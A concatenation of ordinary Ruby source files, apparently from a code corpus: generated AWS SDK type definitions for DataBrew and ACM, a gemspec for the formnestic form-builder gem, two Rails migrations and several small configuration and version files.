AWS API Documentation # class RecipeAction < Struct.new( :operation, :parameters) SENSITIVE = [] include Aws::Structure end # Represents the name and version of a DataBrew recipe. # # @note When making an API call, you may pass RecipeReference # data as a hash: # # { # name: "RecipeName", # required # recipe_version: "RecipeVersion", # } # # @!attribute [rw] name # The name of the recipe. # @return [String] # # @!attribute [rw] recipe_version # The identifier for the version for the recipe. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/RecipeReference AWS API Documentation # class RecipeReference < Struct.new( :name, :recipe_version) SENSITIVE = [] include Aws::Structure end # Represents a single step from a DataBrew recipe to be performed. # # @note When making an API call, you may pass RecipeStep # data as a hash: # # { # action: { # required # operation: "Operation", # required # parameters: { # "ParameterName" => "ParameterValue", # }, # }, # condition_expressions: [ # { # condition: "Condition", # required # value: "ConditionValue", # target_column: "TargetColumn", # required # }, # ], # } # # @!attribute [rw] action # The particular action to be performed in the recipe step. # @return [Types::RecipeAction] # # @!attribute [rw] condition_expressions # One or more conditions that must be met, in order for the recipe # step to succeed. # # <note markdown="1"> All of the conditions in the array must be met. In other words, all # of the conditions must be combined using a logical AND operation. # # </note> # @return [Array<Types::ConditionExpression>] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/RecipeStep AWS API Documentation # class RecipeStep < Struct.new( :action, :condition_expressions) SENSITIVE = [] include Aws::Structure end # Represents any errors encountered when attempting to delete multiple # recipe versions. # # @!attribute [rw] error_code # The HTTP status code for the error. # @return [String] # # @!attribute [rw] error_message # The text of the error message. # @return [String] # # @!attribute [rw] recipe_version # The identifier for the recipe version associated with this error. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/RecipeVersionErrorDetail AWS API Documentation # class RecipeVersionErrorDetail < Struct.new( :error_code, :error_message, :recipe_version) SENSITIVE = [] include Aws::Structure end # One or more resources can't be found. # # @!attribute [rw] message # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/ResourceNotFoundException AWS API Documentation # class ResourceNotFoundException < Struct.new( :message) SENSITIVE = [] include Aws::Structure end # An Amazon S3 location (bucket name an object key) where DataBrew can # read input data, or write output from a job. # # @note When making an API call, you may pass S3Location # data as a hash: # # { # bucket: "Bucket", # required # key: "Key", # } # # @!attribute [rw] bucket # The S3 bucket name. # @return [String] # # @!attribute [rw] key # The unique name of the object in the bucket. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/S3Location AWS API Documentation # class S3Location < Struct.new( :bucket, :key) SENSITIVE = [] include Aws::Structure end # Represents the sample size and sampling type for DataBrew to use for # interactive data analysis. # # @note When making an API call, you may pass Sample # data as a hash: # # { # size: 1, # type: "FIRST_N", # required, accepts FIRST_N, LAST_N, RANDOM # } # # @!attribute [rw] size # The number of rows in the sample. # @return [Integer] # # @!attribute [rw] type # The way in which DataBrew obtains rows from a dataset. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/Sample AWS API Documentation # class Sample < Struct.new( :size, :type) SENSITIVE = [] include Aws::Structure end # Represents one or more dates and times when a job is to run. # # @!attribute [rw] account_id # The ID of the AWS account that owns the schedule. # @return [String] # # @!attribute [rw] created_by # The Amazon Resource Name (ARN) of the user who created the schedule. # @return [String] # # @!attribute [rw] create_date # The date and time that the schedule was created. # @return [Time] # # @!attribute [rw] job_names # A list of jobs to be run, according to the schedule. # @return [Array<String>] # # @!attribute [rw] last_modified_by # The Amazon Resource Name (ARN) of the user who last modified the # schedule. # @return [String] # # @!attribute [rw] last_modified_date # The date and time when the schedule was last modified. # @return [Time] # # @!attribute [rw] resource_arn # The Amazon Resource Name (ARN) of the schedule. # @return [String] # # @!attribute [rw] cron_expression # The date(s) and time(s) when the job will run. For more information, # see [Cron expressions][1] in the *AWS Glue DataBrew Developer # Guide*. # # # # [1]: https://docs.aws.amazon.com/databrew/latest/dg/jobs.cron.html # @return [String] # # @!attribute [rw] tags # Metadata tags that have been applied to the schedule. # @return [Hash<String,String>] # # @!attribute [rw] name # The name of the schedule. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/Schedule AWS API Documentation # class Schedule < Struct.new( :account_id, :created_by, :create_date, :job_names, :last_modified_by, :last_modified_date, :resource_arn, :cron_expression, :tags, :name) SENSITIVE = [] include Aws::Structure end # @note When making an API call, you may pass SendProjectSessionActionRequest # data as a hash: # # { # preview: false, # name: "ProjectName", # required # recipe_step: { # action: { # required # operation: "Operation", # required # parameters: { # "ParameterName" => "ParameterValue", # }, # }, # condition_expressions: [ # { # condition: "Condition", # required # value: "ConditionValue", # target_column: "TargetColumn", # required # }, # ], # }, # step_index: 1, # client_session_id: "ClientSessionId", # view_frame: { # start_column_index: 1, # required # column_range: 1, # hidden_columns: ["ColumnName"], # }, # } # # @!attribute [rw] preview # If true, the result of the recipe step will be returned, but not # applied. # @return [Boolean] # # @!attribute [rw] name # The name of the project to apply the action to. # @return [String] # # @!attribute [rw] recipe_step # Represents a single step from a DataBrew recipe to be performed. # @return [Types::RecipeStep] # # @!attribute [rw] step_index # The index from which to preview a step. This index is used to # preview the result of steps that have already been applied, so that # the resulting view frame is from earlier in the view frame stack. # @return [Integer] # # @!attribute [rw] client_session_id # A unique identifier for an interactive session that's currently # open and ready for work. The action will be performed on this # session. # @return [String] # # @!attribute [rw] view_frame # Represents the data being being transformed during an action. # @return [Types::ViewFrame] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/SendProjectSessionActionRequest AWS API Documentation # class SendProjectSessionActionRequest < Struct.new( :preview, :name, :recipe_step, :step_index, :client_session_id, :view_frame) SENSITIVE = [] include Aws::Structure end # @!attribute [rw] result # A message indicating the result of performing the action. # @return [String] # # @!attribute [rw] name # The name of the project that was affected by the action. # @return [String] # # @!attribute [rw] action_id # A unique identifier for the action that was performed. # @return [Integer] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/SendProjectSessionActionResponse AWS API Documentation # class SendProjectSessionActionResponse < Struct.new( :result, :name, :action_id) SENSITIVE = [] include Aws::Structure end # A service quota is exceeded. # # @!attribute [rw] message # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/ServiceQuotaExceededException AWS API Documentation # class ServiceQuotaExceededException < Struct.new( :message) SENSITIVE = [] include Aws::Structure end # @note When making an API call, you may pass StartJobRunRequest # data as a hash: # # { # name: "JobName", # required # } # # @!attribute [rw] name # The name of the job to be run. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/StartJobRunRequest AWS API Documentation # class StartJobRunRequest < Struct.new( :name) SENSITIVE = [] include Aws::Structure end # @!attribute [rw] run_id # A system-generated identifier for this particular job run. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/StartJobRunResponse AWS API Documentation # class StartJobRunResponse < Struct.new( :run_id) SENSITIVE = [] include Aws::Structure end # @note When making an API call, you may pass StartProjectSessionRequest # data as a hash: # # { # name: "ProjectName", # required # assume_control: false, # } # # @!attribute [rw] name # The name of the project to act upon. # @return [String] # # @!attribute [rw] assume_control # A value that, if true, enables you to take control of a session, # even if a different client is currently accessing the project. # @return [Boolean] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/StartProjectSessionRequest AWS API Documentation # class StartProjectSessionRequest < Struct.new( :name, :assume_control) SENSITIVE = [] include Aws::Structure end # @!attribute [rw] name # The name of the project to be acted upon. # @return [String] # # @!attribute [rw] client_session_id # A system-generated identifier for the session. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/StartProjectSessionResponse AWS API Documentation # class StartProjectSessionResponse < Struct.new( :name, :client_session_id) SENSITIVE = [] include Aws::Structure end # @note When making an API call, you may pass StopJobRunRequest # data as a hash: # # { # name: "JobName", # required # run_id: "JobRunId", # required # } # # @!attribute [rw] name # The name of the job to be stopped. # @return [String] # # @!attribute [rw] run_id # The ID of the job run to be stopped. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/StopJobRunRequest AWS API Documentation # class StopJobRunRequest < Struct.new( :name, :run_id) SENSITIVE = [] include Aws::Structure end # @!attribute [rw] run_id # The ID of the job run that you stopped. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/StopJobRunResponse AWS API Documentation # class StopJobRunResponse < Struct.new( :run_id) SENSITIVE = [] include Aws::Structure end # @note When making an API call, you may pass TagResourceRequest # data as a hash: # # { # resource_arn: "Arn", # required # tags: { # required # "TagKey" => "TagValue", # }, # } # # @!attribute [rw] resource_arn # The DataBrew resource to which tags should be added. The value for # this parameter is an Amazon Resource Name (ARN). For DataBrew, you # can tag a dataset, a job, a project, or a recipe. # @return [String] # # @!attribute [rw] tags # One or more tags to be assigned to the resource. # @return [Hash<String,String>] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/TagResourceRequest AWS API Documentation # class TagResourceRequest < Struct.new( :resource_arn, :tags) SENSITIVE = [] include Aws::Structure end # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/TagResourceResponse AWS API Documentation # class TagResourceResponse < Aws::EmptyStructure; end # @note When making an API call, you may pass UntagResourceRequest # data as a hash: # # { # resource_arn: "Arn", # required # tag_keys: ["TagKey"], # required # } # # @!attribute [rw] resource_arn # A DataBrew resource from which you want to remove a tag or tags. The # value for this parameter is an Amazon Resource Name (ARN). # @return [String] # # @!attribute [rw] tag_keys # The tag keys (names) of one or more tags to be removed. # @return [Array<String>] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/UntagResourceRequest AWS API Documentation # class UntagResourceRequest < Struct.new( :resource_arn, :tag_keys) SENSITIVE = [] include Aws::Structure end # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/UntagResourceResponse AWS API Documentation # class UntagResourceResponse < Aws::EmptyStructure; end # @note When making an API call, you may pass UpdateDatasetRequest # data as a hash: # # { # name: "DatasetName", # required # format_options: { # json: { # multi_line: false, # }, # excel: { # sheet_names: ["SheetName"], # sheet_indexes: [1], # }, # csv: { # delimiter: "Delimiter", # }, # }, # input: { # required # s3_input_definition: { # bucket: "Bucket", # required # key: "Key", # }, # data_catalog_input_definition: { # catalog_id: "CatalogId", # database_name: "DatabaseName", # required # table_name: "TableName", # required # temp_directory: { # bucket: "Bucket", # required # key: "Key", # }, # }, # }, # } # # @!attribute [rw] name # The name of the dataset to be updated. # @return [String] # # @!attribute [rw] format_options # Options that define the structure of either Csv, Excel, or JSON # input. # @return [Types::FormatOptions] # # @!attribute [rw] input # Information on how DataBrew can find data, in either the AWS Glue # Data Catalog or Amazon S3. # @return [Types::Input] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/UpdateDatasetRequest AWS API Documentation # class UpdateDatasetRequest < Struct.new( :name, :format_options, :input) SENSITIVE = [] include Aws::Structure end # @!attribute [rw] name # The name of the dataset that you updated. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/UpdateDatasetResponse AWS API Documentation # class UpdateDatasetResponse < Struct.new( :name) SENSITIVE = [] include Aws::Structure end # @note When making an API call, you may pass UpdateProfileJobRequest # data as a hash: # # { # encryption_key_arn: "EncryptionKeyArn", # encryption_mode: "SSE-KMS", # accepts SSE-KMS, SSE-S3 # name: "JobName", # required # log_subscription: "ENABLE", # accepts ENABLE, DISABLE # max_capacity: 1, # max_retries: 1, # output_location: { # required # bucket: "Bucket", # required # key: "Key", # }, # role_arn: "Arn", # required # timeout: 1, # } # # @!attribute [rw] encryption_key_arn # The Amazon Resource Name (ARN) of an encryption key that is used to # protect the job. # @return [String] # # @!attribute [rw] encryption_mode # The encryption mode for the job, which can be one of the following: # # * `SSE-KMS` - Server-side encryption with AWS KMS-managed keys. # # * `SSE-S3` - Server-side encryption with keys managed by Amazon S3. # @return [String] # # @!attribute [rw] name # The name of the job to be updated. # @return [String] # # @!attribute [rw] log_subscription # Enables or disables Amazon CloudWatch logging for the job. If # logging is enabled, CloudWatch writes one log stream for each job # run. # @return [String] # # @!attribute [rw] max_capacity # The maximum number of compute nodes that DataBrew can use when the # job processes data. # @return [Integer] # # @!attribute [rw] max_retries # The maximum number of times to retry the job after a job run fails. # @return [Integer] # # @!attribute [rw] output_location # An Amazon S3 location (bucket name an object key) where DataBrew can # read input data, or write output from a job. # @return [Types::S3Location] # # @!attribute [rw] role_arn # The Amazon Resource Name (ARN) of the AWS Identity and Access # Management (IAM) role to be assumed when DataBrew runs the job. # @return [String] # # @!attribute [rw] timeout # The job's timeout in minutes. A job that attempts to run longer # than this timeout period ends with a status of `TIMEOUT`. # @return [Integer] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/UpdateProfileJobRequest AWS API Documentation # class UpdateProfileJobRequest < Struct.new( :encryption_key_arn, :encryption_mode, :name, :log_subscription, :max_capacity, :max_retries, :output_location, :role_arn, :timeout) SENSITIVE = [] include Aws::Structure end # @!attribute [rw] name # The name of the job that was updated. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/UpdateProfileJobResponse AWS API Documentation # class UpdateProfileJobResponse < Struct.new( :name) SENSITIVE = [] include Aws::Structure end # @note When making an API call, you may pass UpdateProjectRequest # data as a hash: # # { # sample: { # size: 1, # type: "FIRST_N", # required, accepts FIRST_N, LAST_N, RANDOM # }, # role_arn: "Arn", # required # name: "ProjectName", # required # } # # @!attribute [rw] sample # Represents the sample size and sampling type for DataBrew to use for # interactive data analysis. # @return [Types::Sample] # # @!attribute [rw] role_arn # The Amazon Resource Name (ARN) of the IAM role to be assumed for # this request. # @return [String] # # @!attribute [rw] name # The name of the project to be updated. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/UpdateProjectRequest AWS API Documentation # class UpdateProjectRequest < Struct.new( :sample, :role_arn, :name) SENSITIVE = [] include Aws::Structure end # @!attribute [rw] last_modified_date # The date and time that the project was last modified. # @return [Time] # # @!attribute [rw] name # The name of the project that you updated. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/UpdateProjectResponse AWS API Documentation # class UpdateProjectResponse < Struct.new( :last_modified_date, :name) SENSITIVE = [] include Aws::Structure end # @note When making an API call, you may pass UpdateRecipeJobRequest # data as a hash: # # { # encryption_key_arn: "EncryptionKeyArn", # encryption_mode: "SSE-KMS", # accepts SSE-KMS, SSE-S3 # name: "JobName", # required # log_subscription: "ENABLE", # accepts ENABLE, DISABLE # max_capacity: 1, # max_retries: 1, # outputs: [ # required # { # compression_format: "GZIP", # accepts GZIP, LZ4, SNAPPY, BZIP2, DEFLATE, LZO, BROTLI, ZSTD, ZLIB # format: "CSV", # accepts CSV, JSON, PARQUET, GLUEPARQUET, AVRO, ORC, XML # partition_columns: ["ColumnName"], # location: { # required # bucket: "Bucket", # required # key: "Key", # }, # overwrite: false, # format_options: { # csv: { # delimiter: "Delimiter", # }, # }, # }, # ], # role_arn: "Arn", # required # timeout: 1, # } # # @!attribute [rw] encryption_key_arn # The Amazon Resource Name (ARN) of an encryption key that is used to # protect the job. # @return [String] # # @!attribute [rw] encryption_mode # The encryption mode for the job, which can be one of the following: # # * `SSE-KMS` - Server-side encryption with AWS KMS-managed keys. # # * `SSE-S3` - Server-side encryption with keys managed by Amazon S3. # @return [String] # # @!attribute [rw] name # The name of the job to update. # @return [String] # # @!attribute [rw] log_subscription # Enables or disables Amazon CloudWatch logging for the job. If # logging is enabled, CloudWatch writes one log stream for each job # run. # @return [String] # # @!attribute [rw] max_capacity # The maximum number of nodes that DataBrew can consume when the job # processes data. # @return [Integer] # # @!attribute [rw] max_retries # The maximum number of times to retry the job after a job run fails. # @return [Integer] # # @!attribute [rw] outputs # One or more artifacts that represent the output from running the # job. # @return [Array<Types::Output>] # # @!attribute [rw] role_arn # The Amazon Resource Name (ARN) of the AWS Identity and Access # Management (IAM) role to be assumed when DataBrew runs the job. # @return [String] # # @!attribute [rw] timeout # The job's timeout in minutes. A job that attempts to run longer # than this timeout period ends with a status of `TIMEOUT`. # @return [Integer] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/UpdateRecipeJobRequest AWS API Documentation # class UpdateRecipeJobRequest < Struct.new( :encryption_key_arn, :encryption_mode, :name, :log_subscription, :max_capacity, :max_retries, :outputs, :role_arn, :timeout) SENSITIVE = [] include Aws::Structure end # @!attribute [rw] name # The name of the job that you updated. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/UpdateRecipeJobResponse AWS API Documentation # class UpdateRecipeJobResponse < Struct.new( :name) SENSITIVE = [] include Aws::Structure end # @note When making an API call, you may pass UpdateRecipeRequest # data as a hash: # # { # description: "RecipeDescription", # name: "RecipeName", # required # steps: [ # { # action: { # required # operation: "Operation", # required # parameters: { # "ParameterName" => "ParameterValue", # }, # }, # condition_expressions: [ # { # condition: "Condition", # required # value: "ConditionValue", # target_column: "TargetColumn", # required # }, # ], # }, # ], # } # # @!attribute [rw] description # A description of the recipe. # @return [String] # # @!attribute [rw] name # The name of the recipe to be updated. # @return [String] # # @!attribute [rw] steps # One or more steps to be performed by the recipe. Each step consists # of an action, and the conditions under which the action should # succeed. # @return [Array<Types::RecipeStep>] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/UpdateRecipeRequest AWS API Documentation # class UpdateRecipeRequest < Struct.new( :description, :name, :steps) SENSITIVE = [] include Aws::Structure end # @!attribute [rw] name # The name of the recipe that was updated. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/UpdateRecipeResponse AWS API Documentation # class UpdateRecipeResponse < Struct.new( :name) SENSITIVE = [] include Aws::Structure end # @note When making an API call, you may pass UpdateScheduleRequest # data as a hash: # # { # job_names: ["JobName"], # cron_expression: "CronExpression", # required # name: "ScheduleName", # required # } # # @!attribute [rw] job_names # The name or names of one or more jobs to be run for this schedule. # @return [Array<String>] # # @!attribute [rw] cron_expression # The date or dates and time or times when the jobs are to be run. For # more information, see [Cron expressions][1] in the *AWS Glue # DataBrew Developer Guide*. # # # # [1]: https://docs.aws.amazon.com/databrew/latest/dg/jobs.cron.html # @return [String] # # @!attribute [rw] name # The name of the schedule to update. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/UpdateScheduleRequest AWS API Documentation # class UpdateScheduleRequest < Struct.new( :job_names, :cron_expression, :name) SENSITIVE = [] include Aws::Structure end # @!attribute [rw] name # The name of the schedule that was updated. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/UpdateScheduleResponse AWS API Documentation # class UpdateScheduleResponse < Struct.new( :name) SENSITIVE = [] include Aws::Structure end # The input parameters for this request failed validation. # # @!attribute [rw] message # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/ValidationException AWS API Documentation # class ValidationException < Struct.new( :message) SENSITIVE = [] include Aws::Structure end # Represents the data being being transformed during an action. # # @note When making an API call, you may pass ViewFrame # data as a hash: # # { # start_column_index: 1, # required # column_range: 1, # hidden_columns: ["ColumnName"], # } # # @!attribute [rw] start_column_index # The starting index for the range of columns to return in the view # frame. # @return [Integer] # # @!attribute [rw] column_range # The number of columns to include in the view frame, beginning with # the `StartColumnIndex` value and ignoring any columns in the # `HiddenColumns` list. # @return [Integer] # # @!attribute [rw] hidden_columns # A list of columns to hide in the view frame. # @return [Array<String>] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/ViewFrame AWS API Documentation # class ViewFrame < Struct.new( :start_column_index, :column_range, :hidden_columns) SENSITIVE = [] include Aws::Structure end end end
30.82348
124
0.583404
26e7a0243f1c3f29c310a10d104ec1619a445773
4,474
# Generated by jeweler # DO NOT EDIT THIS FILE DIRECTLY # Instead, edit Jeweler::Tasks in Rakefile, and run 'rake gemspec' # -*- encoding: utf-8 -*- Gem::Specification.new do |s| s.name = 'formnestic' s.version = '1.0.12' s.required_rubygems_version = Gem::Requirement.new('>= 0') if s.respond_to? :required_rubygems_version= s.authors = ['James'] s.date = '2018-12-07' s.description = 'An extension of famous Formtastic Form Builder to make building nested and association form with nested model addable and removable ability extremely easy and simple' s.email = '[email protected]' s.extra_rdoc_files = [ 'README.markdown' ] s.files = [ '.document', '.rspec', '.travis.yml', '.watchr', 'Gemfile', 'Gemfile.lock', 'MIT-LICENSE', 'README.markdown', 'Rakefile', 'VERSION', 'app/assets/.DS_Store', 'app/assets/javascripts/formnestic/formnestic.js', 'app/assets/stylesheets/formnestic/entypo.css.scss', 'app/assets/stylesheets/formnestic/entypo.eot', 'app/assets/stylesheets/formnestic/entypo.svg', 'app/assets/stylesheets/formnestic/entypo.ttf', 'app/assets/stylesheets/formnestic/entypo.woff', 'app/assets/stylesheets/formnestic/formnestic.css.scss', 'config/locales/formnestic.en.yml', 'formnestic.gemspec', 'lib/formnestic.rb', 'lib/formnestic/form_builder.rb', 'lib/formnestic/form_builder/base_builder.rb', 'lib/formnestic/form_builder/list_form_builder.rb', 'lib/formnestic/form_builder/table_form_builder.rb', 'lib/formnestic/helpers.rb', 'lib/formnestic/engine.rb', 'lib/formnestic/formtastic_extensions.rb', 'lib/formnestic/helpers/inputs_helper.rb', 'lib/formnestic/inputs.rb', 'lib/formnestic/inputs/base.rb', 'lib/formnestic/inputs/base/labelling.rb', 'lib/formnestic/inputs/base/wrapping.rb', 'lib/generators/formnestic/install_generator.rb', 'rwatchr', 'screenshots/list_form.png', 'screenshots/table_form.png', 'spec/helpers/nested_model_helper_spec.rb', 'spec/helpers/nested_model_list_helper_spec.rb', 'spec/inputs/boolean_input_spec.rb', 'spec/spec_helper.rb', 'spec/support/custom_macros.rb', 'spec/support/deferred_garbage_collection.rb', 'spec/support/deprecation.rb', 'spec/support/test_environment.rb' ] s.homepage = 'http://github.com/jameshuynh/formnestic' s.licenses = ['MIT'] s.require_paths = ['lib'] s.rubygems_version = '1.8.23' s.summary = 'An extension of formtastic form builder gem' if s.respond_to? :specification_version s.specification_version = 3 if Gem::Version.new(Gem::VERSION) >= Gem::Version.new('1.2.0') s.add_runtime_dependency('actionpack', ['>= 3.2.13']) s.add_runtime_dependency('coveralls', ['>= 0']) s.add_runtime_dependency('formtastic', ['>= 2.2.1']) s.add_development_dependency('bundler', ['~> 1.0']) s.add_development_dependency('jeweler', ['~> 2.0.1']) s.add_development_dependency('rdoc', ['~> 3.4']) s.add_development_dependency('rspec-rails', ['~> 2.14.0']) s.add_development_dependency('rspec_tag_matchers', ['>= 1.0.0']) s.add_development_dependency('shoulda', ['>= 0']) s.add_development_dependency('spork', ['>= 0']) s.add_development_dependency('tzinfo', ['>= 0']) else s.add_dependency('actionpack', ['>= 3.2.13']) s.add_dependency('bundler', ['~> 1.0']) s.add_dependency('coveralls', ['>= 0']) s.add_dependency('rdoc', ['~> 3.4']) s.add_dependency('rdoc', ['~> 3.4']) s.add_dependency('rdoc', ['~> 3.4']) s.add_dependency('rspec-rails', ['~> 2.14.0']) s.add_dependency('rspec_tag_matchers', ['>= 1.0.0']) s.add_dependency('shoulda', ['>= 0']) s.add_dependency('spork', ['>= 0']) s.add_dependency('tzinfo', ['>= 0']) s.add_dependency('watchr', ['>= 0']) end else s.add_dependency('formtastic', ['>= 2.2.1']) s.add_dependency('formtastic', ['>= 2.2.1']) s.add_dependency('formtastic', ['>= 2.2.1']) s.add_dependency('jeweler', ['~> 2.0.1']) s.add_dependency('shoulda', ['>= 0']) s.add_dependency('shoulda', ['>= 0']) s.add_development_dependency('watchr', ['>= 0']) s.add_dependency('rspec-rails', ['~> 2.14.0']) s.add_dependency('rspec_tag_matchers', ['>= 1.0.0']) s.add_dependency('tzinfo', ['>= 0']) s.add_dependency('tzinfo', ['>= 0']) s.add_dependency('watchr', ['>= 0']) end end
38.904348
185
0.651542
ac56f91e44c366e42aab47a6931a5b01dde0842c
315
class CreatePolicyManagerTermsTranslations < ActiveRecord::Migration[5.0] def change create_table :policy_manager_terms_translations do |t| t.integer :term_id, index: true t.string :title t.text :content t.text :content_html t.string :locale t.timestamps end end end
24.230769
73
0.695238
ed03dd09b02883694728558d552feb2cf9796aee
132
class AddDragons < ActiveRecord::Migration def change add_column :comments, :is_dragon, :boolean, :default => false end end
22
65
0.734848
e94f97c5a2a188936317d6cbe9c5921feaa514ff
35
module Mapi VERSION = '1.5.2' end
8.75
18
0.657143
d50cab382aed1d57adc796869f77d133959dbdb2
572
CurationConcerns.configure do |config| # Location on local file system where uploaded files will be staged # prior to being ingested into the repository or having derivatives generated. # If you use a multi-server architecture, this MUST be a shared volume. config.working_path = Rails.env.production? ? '/tmp/working' : (ENV['SUFIA_TMP_PATH'] || '/tmp') CurationConcerns.config.callback.set(:after_fixity_check_failure) do |file_set, checksum_audit_log:| CHF::FixityCheckFailureService.new(file_set, checksum_audit_log: checksum_audit_log).call end end
47.666667
102
0.77972
f732b11cfd4a9ea4e4d9d9e5b3019f8a00bfb57e
69
class PagesController < ApplicationController def discover end end
13.8
45
0.84058
bb4e7dfb8ed4f7b87a005905d6067a81dd377abf
278
# frozen_string_literal: false # # version.rb - shell version definition file # $Release Version: 0.7$ # $Revision$ # by Keiju ISHITSUKA([email protected]) # # -- # # # class Shell # :nodoc: @RELEASE_VERSION = "0.7" @LAST_UPDATE_DATE = "07/03/20" end
16.352941
47
0.625899
b922ffb34a8e91b44a1625e9ea37a9ea8355dae5
48,938
# WARNING ABOUT GENERATED CODE # # This file is generated. See the contributing guide for more information: # https://github.com/aws/aws-sdk-ruby/blob/master/CONTRIBUTING.md # # WARNING ABOUT GENERATED CODE module Aws::ACM module Types # @note When making an API call, you may pass AddTagsToCertificateRequest # data as a hash: # # { # certificate_arn: "Arn", # required # tags: [ # required # { # key: "TagKey", # required # value: "TagValue", # }, # ], # } # # @!attribute [rw] certificate_arn # String that contains the ARN of the ACM certificate to which the tag # is to be applied. This must be of the form: # # `arn:aws:acm:region:123456789012:certificate/12345678-1234-1234-1234-123456789012` # # For more information about ARNs, see [Amazon Resource Names (ARNs) # and AWS Service Namespaces][1]. # # # # [1]: https://docs.aws.amazon.com/general/latest/gr/aws-arns-and-namespaces.html # @return [String] # # @!attribute [rw] tags # The key-value pair that defines the tag. The tag value is optional. # @return [Array<Types::Tag>] # # @see http://docs.aws.amazon.com/goto/WebAPI/acm-2015-12-08/AddTagsToCertificateRequest AWS API Documentation # class AddTagsToCertificateRequest < Struct.new( :certificate_arn, :tags) include Aws::Structure end # Contains metadata about an ACM certificate. This structure is returned # in the response to a DescribeCertificate request. # # @!attribute [rw] certificate_arn # The Amazon Resource Name (ARN) of the certificate. For more # information about ARNs, see [Amazon Resource Names (ARNs) and AWS # Service Namespaces][1] in the *AWS General Reference*. # # # # [1]: https://docs.aws.amazon.com/general/latest/gr/aws-arns-and-namespaces.html # @return [String] # # @!attribute [rw] domain_name # The fully qualified domain name for the certificate, such as # www.example.com or example.com. # @return [String] # # @!attribute [rw] subject_alternative_names # One or more domain names (subject alternative names) included in the # certificate. This list contains the domain names that are bound to # the public key that is contained in the certificate. The subject # alternative names include the canonical domain name (CN) of the # certificate and additional domain names that can be used to connect # to the website. # @return [Array<String>] # # @!attribute [rw] domain_validation_options # Contains information about the initial validation of each domain # name that occurs as a result of the RequestCertificate request. This # field exists only when the certificate type is `AMAZON_ISSUED`. # @return [Array<Types::DomainValidation>] # # @!attribute [rw] serial # The serial number of the certificate. # @return [String] # # @!attribute [rw] subject # The name of the entity that is associated with the public key # contained in the certificate. # @return [String] # # @!attribute [rw] issuer # The name of the certificate authority that issued and signed the # certificate. # @return [String] # # @!attribute [rw] created_at # The time at which the certificate was requested. This value exists # only when the certificate type is `AMAZON_ISSUED`. # @return [Time] # # @!attribute [rw] issued_at # The time at which the certificate was issued. This value exists only # when the certificate type is `AMAZON_ISSUED`. # @return [Time] # # @!attribute [rw] imported_at # The date and time at which the certificate was imported. This value # exists only when the certificate type is `IMPORTED`. # @return [Time] # # @!attribute [rw] status # The status of the certificate. # @return [String] # # @!attribute [rw] revoked_at # The time at which the certificate was revoked. This value exists # only when the certificate status is `REVOKED`. # @return [Time] # # @!attribute [rw] revocation_reason # The reason the certificate was revoked. This value exists only when # the certificate status is `REVOKED`. # @return [String] # # @!attribute [rw] not_before # The time before which the certificate is not valid. # @return [Time] # # @!attribute [rw] not_after # The time after which the certificate is not valid. # @return [Time] # # @!attribute [rw] key_algorithm # The algorithm that was used to generate the public-private key pair. # @return [String] # # @!attribute [rw] signature_algorithm # The algorithm that was used to sign the certificate. # @return [String] # # @!attribute [rw] in_use_by # A list of ARNs for the AWS resources that are using the certificate. # A certificate can be used by multiple AWS resources. # @return [Array<String>] # # @!attribute [rw] failure_reason # The reason the certificate request failed. This value exists only # when the certificate status is `FAILED`. For more information, see # [Certificate Request Failed][1] in the *AWS Certificate Manager User # Guide*. # # # # [1]: https://docs.aws.amazon.com/acm/latest/userguide/troubleshooting.html#troubleshooting-failed # @return [String] # # @!attribute [rw] type # The source of the certificate. For certificates provided by ACM, # this value is `AMAZON_ISSUED`. For certificates that you imported # with ImportCertificate, this value is `IMPORTED`. ACM does not # provide [managed renewal][1] for imported certificates. For more # information about the differences between certificates that you # import and those that ACM provides, see [Importing Certificates][2] # in the *AWS Certificate Manager User Guide*. # # # # [1]: https://docs.aws.amazon.com/acm/latest/userguide/acm-renewal.html # [2]: https://docs.aws.amazon.com/acm/latest/userguide/import-certificate.html # @return [String] # # @!attribute [rw] renewal_summary # Contains information about the status of ACM's [managed renewal][1] # for the certificate. This field exists only when the certificate # 